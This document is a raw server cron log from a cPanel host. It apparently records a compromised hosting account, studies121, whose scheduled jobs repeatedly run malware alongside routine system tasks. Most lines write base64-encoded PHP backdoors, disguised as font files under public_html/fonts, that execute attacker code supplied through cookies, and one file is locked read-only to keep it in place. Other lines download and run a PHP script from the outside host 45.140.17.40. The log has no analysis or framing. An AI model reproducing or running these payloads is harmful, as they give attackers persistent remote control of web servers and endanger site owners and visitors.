Sep  4 06:43:01 ip-184-168-122-23 CROND[8694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:43:01 ip-184-168-122-23 CROND[8695]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:43:01 ip-184-168-122-23 CROND[8696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:44:01 ip-184-168-122-23 CROND[8791]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:44:01 ip-184-168-122-23 CROND[8790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:44:01 ip-184-168-122-23 CROND[8794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:44:01 ip-184-168-122-23 CROND[8796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:44:01 ip-184-168-122-23 CROND[8795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:45:01 ip-184-168-122-23 CROND[9113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:45:01 ip-184-168-122-23 CROND[9115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:45:01 ip-184-168-122-23 CROND[9114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:45:01 ip-184-168-122-23 CROND[9119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:45:01 ip-184-168-122-23 CROND[9120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:45:01 ip-184-168-122-23 CROND[9118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:46:01 ip-184-168-122-23 CROND[9219]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:46:01 ip-184-168-122-23 CROND[9218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:46:01 ip-184-168-122-23 CROND[9221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:46:01 ip-184-168-122-23 CROND[9223]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 06:46:01 ip-184-168-122-23 CROND[9224]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 06:46:01 ip-184-168-122-23 CROND[9226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:46:01 ip-184-168-122-23 CROND[9227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:47:01 ip-184-168-122-23 CROND[9340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:47:01 ip-184-168-122-23 CROND[9339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:47:01 ip-184-168-122-23 CROND[9341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:47:01 ip-184-168-122-23 CROND[9344]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:48:01 ip-184-168-122-23 CROND[9514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:48:01 ip-184-168-122-23 CROND[9516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:48:01 ip-184-168-122-23 CROND[9517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:48:01 ip-184-168-122-23 CROND[9522]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:48:01 ip-184-168-122-23 CROND[9520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:49:01 ip-184-168-122-23 CROND[9610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:49:01 ip-184-168-122-23 CROND[9612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:49:01 ip-184-168-122-23 CROND[9613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:49:01 ip-184-168-122-23 CROND[9614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:50:01 ip-184-168-122-23 CROND[9760]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:50:01 ip-184-168-122-23 CROND[9763]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:50:01 ip-184-168-122-23 CROND[9765]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:50:01 ip-184-168-122-23 CROND[9767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:50:01 ip-184-168-122-23 CROND[9764]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:50:01 ip-184-168-122-23 CROND[9769]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 06:50:01 ip-184-168-122-23 CROND[9770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:50:01 ip-184-168-122-23 CROND[9771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:50:01 ip-184-168-122-23 CROND[9768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:51:02 ip-184-168-122-23 CROND[9889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:51:02 ip-184-168-122-23 CROND[9892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:51:02 ip-184-168-122-23 CROND[9893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:51:02 ip-184-168-122-23 CROND[9895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:52:01 ip-184-168-122-23 CROND[10005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:52:01 ip-184-168-122-23 CROND[10009]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:52:01 ip-184-168-122-23 CROND[10008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:52:01 ip-184-168-122-23 CROND[10010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:52:01 ip-184-168-122-23 CROND[10011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:53:01 ip-184-168-122-23 CROND[10215]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:53:01 ip-184-168-122-23 CROND[10216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:53:01 ip-184-168-122-23 CROND[10217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:53:01 ip-184-168-122-23 CROND[10218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:54:01 ip-184-168-122-23 CROND[10340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:54:01 ip-184-168-122-23 CROND[10341]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 06:54:01 ip-184-168-122-23 CROND[10344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:54:01 ip-184-168-122-23 CROND[10345]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:54:01 ip-184-168-122-23 CROND[10346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:55:02 ip-184-168-122-23 CROND[10454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 06:55:02 ip-184-168-122-23 CROND[10455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 06:55:02 ip-184-168-122-23 CROND[10456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:55:02 ip-184-168-122-23 CROND[10458]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
